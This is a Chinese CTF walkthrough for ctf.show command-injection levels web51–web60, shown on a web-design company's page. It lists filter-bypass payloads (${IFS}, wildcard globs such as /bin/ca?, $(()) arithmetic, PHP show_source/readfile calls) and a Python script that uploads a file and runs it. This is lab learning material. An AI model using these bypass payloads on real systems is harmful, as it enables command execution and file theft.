舟山市网站建设_网站建设公司_漏洞修复_seo优化
2026/1/17 17:26:20 网站建设 项目流程

web51

分析代码
image
分析tac被禁用了,使用nl代替
?c=nl<fl\ag.php||ls
image

web52

分析代码
image
发现<被过滤了,使用${IFS}代替

?c=nl${IFS}fl\ag.php||ls
注意这关的flag不在flag.php里面,就在flag里面,所以要查看/flag,不要.php,前面加"/"好
?c=nl${IFS}/fla''g||ls

image

web53

分析代码
image
?c=nl${IFS}fla\g.php
image

web54

分析代码
image
过滤了很多命令,发现没有过滤?,可以用?模糊匹配
?c=/bin/ca?${IFS}f???????
加/bin是为了匹配到cat,不加路径就匹配不到cat
image

web55

分析代码
image
发现过滤了字母,但是没有过滤数字,和上一关一样使用?模糊匹配
?c=/???/????64 ????.???
image
解码得到flag
image

web56

分析代码
image
这次数字也被过滤了,写一个脚本

点击查看代码
import time
import requestsurl = "http://db30142e-7c2b-406d-b804-560d22e9060e.challenge.ctf.show/"
payload = {"c":". /???/????????[@-[]"}with open('.\\1.txt','r') as file:files = {'file': file}while 1:r = requests.post(url,params=payload,files=files)if r.text:print("\n" + r.text)breaktime.sleep(1)print(".", end=' ',flush=True)

1.txt里面写需要执行的命令
image
具体原理:https://www.cnblogs.com/FallenStar/articles/16834476.html

web57

分析代码
image
发现flag在36.php里面,数字被禁用,现在需要用符号构造36出来,需要用到Linux下的知识:

$(())=0
$((~$(())))=-1
$(($((~$(())))$((~$(())))))=-1-1=-2
取反的公式为:~x=-(x+1)
所以想要得到36就需要对-37取反
$((~$(())))里面需要包裹37个$((~$(())))

用python写一个脚本

点击查看代码
a="$((~$(({}))))" # 取反操作
b="$((~$(())))"	  # -1
payload = a.format(b*37)
print(payload)

image

web58

分析代码
image
发现system()、passthru()等都被禁用了,网上搜了一下,可以使用

c=readfile('flag.php'); 
c=show_source('flag.php'); 
c=echo file_get_contents("flag.php");
c=var_dump(file('flag.php'));

image

web59

分析代码
image
跟上一关一样,使用c=show_source('flag.php'); 获得flag
image

web60

分析代码
image
还是和上一关一样c=show_source('flag.php');
image

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询